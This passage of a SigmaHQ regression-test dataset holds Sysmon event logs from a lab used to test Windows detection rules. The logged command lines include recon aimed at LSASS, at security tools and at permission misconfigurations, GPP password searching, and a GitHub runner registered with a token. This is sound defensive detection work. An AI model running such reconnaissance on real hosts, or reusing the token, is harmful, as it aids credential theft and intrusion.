"content": "id: 1f7942f7-fd5d-40e1-ac60-df1298f49bb0\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 91a2c315-9ee6-4052-a853-6f6a8238f90d\n title: Findstr GPP Passwords\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords/91a2c315-9ee6-4052-a853-6f6a8238f90d.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_lsass/fe63010f-8823-4864-a96b-a7b4a0f7b929.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:41:46.744119Z\"\n }\n },\n \"EventRecordID\": 12151329,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:41:46.742\",\n \"ProcessGuid\": \"5AA13A44-0BDA-68FD-7836-000000004002\",\n \"ProcessId\": 8892,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\findstr.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Find String (QGREP) Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"FINDSTR.EXE\",\n \"CommandLine\": \"findstr lsass\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=7E484985CC835B3892F7445D2692227BA2D2E6F5,MD5=D0A20941751521C0D19BD3EABF34C446,SHA256=940CBEC6750076F2A191CBC8DA96AAE1905F7D9709B48C839BBD52884EFF1A45,IMPHASH=A27641A39DA5A6B0717E06BA00E56B7F\",\n \"ParentProcessGuid\": \"5AA13A44-08B2-68FD-2136-000000004002\",\n \"ParentProcessId\": 3204,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_lsass/info.yml",
"content": "id: 241a8371-1554-4cfc-8a51-c671669f4a71\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: fe63010f-8823-4864-a96b-a7b4a0f7b929\n title: LSASS Process Reconnaissance Via Findstr.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_lsass/fe63010f-8823-4864-a96b-a7b4a0f7b929.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone/47e4bab7-c626-47dc-967b-255608c9a920.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:47:01.671694Z\"\n }\n },\n \"EventRecordID\": 12249325,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:47:01.664\",\n \"ProcessGuid\": \"5AA13A44-0D15-68FD-B436-000000004002\",\n \"ProcessId\": 2764,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\icacls.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"-\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"iCACLS.EXE\",\n \"CommandLine\": \"icacls \\\"C:\\\\Program Files\\\\*\\\"\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=0EB3DC9113AE28D77A85A52B3BF7B79A4B7FD24E,MD5=4B8207877186FAFFB90E3A4D9358CBA6,SHA256=054355C415F5686DA598011065E6FDF6BED35C5FDDA81BC5BF22B9D093CC30E2,IMPHASH=446163A548337B5BCF2727BCD1CFB399\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:47:01.679477Z\"\n }\n },\n \"EventRecordID\": 12249342,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:47:01.673\",\n \"ProcessGuid\": \"5AA13A44-0D15-68FD-B536-000000004002\",\n \"ProcessId\": 9016,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\findstr.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Find String (QGREP) Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"FINDSTR.EXE\",\n \"CommandLine\": \"findstr \\\"(M)\\\"\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=7E484985CC835B3892F7445D2692227BA2D2E6F5,MD5=D0A20941751521C0D19BD3EABF34C446,SHA256=940CBEC6750076F2A191CBC8DA96AAE1905F7D9709B48C839BBD52884EFF1A45,IMPHASH=A27641A39DA5A6B0717E06BA00E56B7F\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:47:01.687849Z\"\n }\n },\n \"EventRecordID\": 12249358,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:47:01.681\",\n \"ProcessGuid\": \"5AA13A44-0D15-68FD-B636-000000004002\",\n \"ProcessId\": 3356,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\findstr.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Find String (QGREP) Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"FINDSTR.EXE\",\n \"CommandLine\": \"findstr \\\"Everyone\\\"\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=7E484985CC835B3892F7445D2692227BA2D2E6F5,MD5=D0A20941751521C0D19BD3EABF34C446,SHA256=940CBEC6750076F2A191CBC8DA96AAE1905F7D9709B48C839BBD52884EFF1A45,IMPHASH=A27641A39DA5A6B0717E06BA00E56B7F\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone/info.yml",
"content": "id: bfab9c3b-5f4b-496c-aa6a-8870fec99738\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 47e4bab7-c626-47dc-967b-255608c9a920\n title: Permission Misconfiguration Reconnaissance Via Findstr.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone/47e4bab7-c626-47dc-967b-255608c9a920.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output/ccb5742c-c248-4982-8c5c-5571b9275ad3.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:51:29.178909Z\"\n }\n },\n \"EventRecordID\": 9129415,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:51:29.168\",\n \"ProcessGuid\": \"5AA13A44-D5E1-68FC-1131-000000004002\",\n \"ProcessId\": 3384,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.20348.3932 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"cmd /c \\\"tasklist | findstr powershell\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=BC2820B5EE7B43C172005B66546F12316DE8C081,MD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output/info.yml",
"content": "id: 5bb16f46-e370-4a40-a47a-d047e4482fc1\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: ccb5742c-c248-4982-8c5c-5571b9275ad3\n title: Recon Command Output Piped To Findstr.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output/ccb5742c-c248-4982-8c5c-5571b9275ad3.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_security_keyword_lookup/4fe074b4-b833-4081-8f24-7dcfeca72b42.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:52:18.663980Z\"\n }\n },\n \"EventRecordID\": 9145421,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:52:18.657\",\n \"ProcessGuid\": \"5AA13A44-D612-68FC-1931-000000004002\",\n \"ProcessId\": 5144,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.20348.3932 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"cmd /c \\\"tasklist | findstr virus\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=BC2820B5EE7B43C172005B66546F12316DE8C081,MD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:52:18.675229Z\"\n }\n },\n \"EventRecordID\": 9145437,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:52:18.674\",\n \"ProcessGuid\": \"5AA13A44-D612-68FC-1A31-000000004002\",\n \"ProcessId\": 6320,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Lists the current running tasks\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"tasklist.exe\",\n \"CommandLine\": \"tasklist\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=A440302FCCCB6D181F8DB017265602397E1EB92A,MD5=2B05A9BDFAEAC5743B47A10F3F0A202B,SHA256=31E6A056EB1E722D8EC8C7E152E6A410B12D6055140BC38FFA1CCBD56AD4E623,IMPHASH=FCEA32ABE79C10DFACC88F5335DD89DE\",\n \"ParentProcessGuid\": \"5AA13A44-D612-68FC-1931-000000004002\",\n \"ParentProcessId\": 5144,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"cmd /c \\\"tasklist | findstr virus\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:52:18.677359Z\"\n }\n },\n \"EventRecordID\": 9145443,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:52:18.676\",\n \"ProcessGuid\": \"5AA13A44-D612-68FC-1B31-000000004002\",\n \"ProcessId\": 9052,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\findstr.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Find String (QGREP) Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"FINDSTR.EXE\",\n \"CommandLine\": \"findstr virus\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=7E484985CC835B3892F7445D2692227BA2D2E6F5,MD5=D0A20941751521C0D19BD3EABF34C446,SHA256=940CBEC6750076F2A191CBC8DA96AAE1905F7D9709B48C839BBD52884EFF1A45,IMPHASH=A27641A39DA5A6B0717E06BA00E56B7F\",\n \"ParentProcessGuid\": \"5AA13A44-D612-68FC-1931-000000004002\",\n \"ParentProcessId\": 5144,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"cmd /c \\\"tasklist | findstr virus\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_security_keyword_lookup/info.yml",
"content": "id: 4497a849-5942-4e5f-9de7-9c82c41e4ad9\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 4fe074b4-b833-4081-8f24-7dcfeca72b42\n title: Security Tools Keyword Lookup Via Findstr.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_security_keyword_lookup/4fe074b4-b833-4081-8f24-7dcfeca72b42.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_finger_execution/af491bca-e752-4b44-9c86-df5680533dbc.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:47:36.346438Z\"\n }\n },\n \"EventRecordID\": 12260122,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:47:36.344\",\n \"ProcessGuid\": \"5AA13A44-0D38-68FD-B736-000000004002\",\n \"ProcessId\": 7732,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\finger.exe\",\n \"FileVersion\": \"10.0.20348.3451 (WinBuild.160101.0800)\",\n \"Description\": \"TCPIP Finger Command\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"finger.exe\",\n \"CommandLine\": \"finger\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=9DFF43AAF3833E42520A4E426F9132ECFC8A1138,MD5=F05FE1D85C1E9B37E27A78DE2A099977,SHA256=9C08862150B290F3834D02F9C2924C3E163B403AC4B00853BCB78B40E00DE6B5,IMPHASH=4EC5391C083809964BB61804E493A505\",\n \"ParentProcessGuid\": \"5AA13A44-0BDF-68FD-7936-000000004002\",\n \"ParentProcessId\": 5232,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"cmd / c \\\"tasklist | findstr lsass\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_finger_execution/info.yml",
"content": "id: 312cf7da-b126-4d53-afc7-01c96aa9710e\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: af491bca-e752-4b44-9c86-df5680533dbc\n title: Finger.EXE Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_finger_execution/af491bca-e752-4b44-9c86-df5680533dbc.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_github_self_hosted_runner/5bac7a56-da88-4c27-922e-c81e113b20cb.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-02T13:40:15.065147Z\"\n }\n },\n \"EventRecordID\": 129581,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3712,\n \"ThreadID\": 5804\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"SUPPORTHUB\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-02 13:40:15.062\",\n \"ProcessGuid\": \"39845534-EC3F-692E-AC01-000000007A00\",\n \"ProcessId\": 2252,\n \"Image\": \"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\bin\\\\Runner.Listener.exe\",\n \"FileVersion\": \"2.329.0.0\",\n \"Description\": \"Runner.Listener\",\n \"Product\": \"Runner.Listener\",\n \"Company\": \"Runner.Listener\",\n \"OriginalFileName\": \"Runner.Listener.dll\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\bin\\\\Runner.Listener.exe\\\" configure --url https://github.com/Koifman/shaihulud --token ACJKO5TZBN2V54V7WQEQMMLJF34ZQ\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\\",\n \"User\": \"SUPPORTHUB\\\\Lab\",\n \"LogonGuid\": 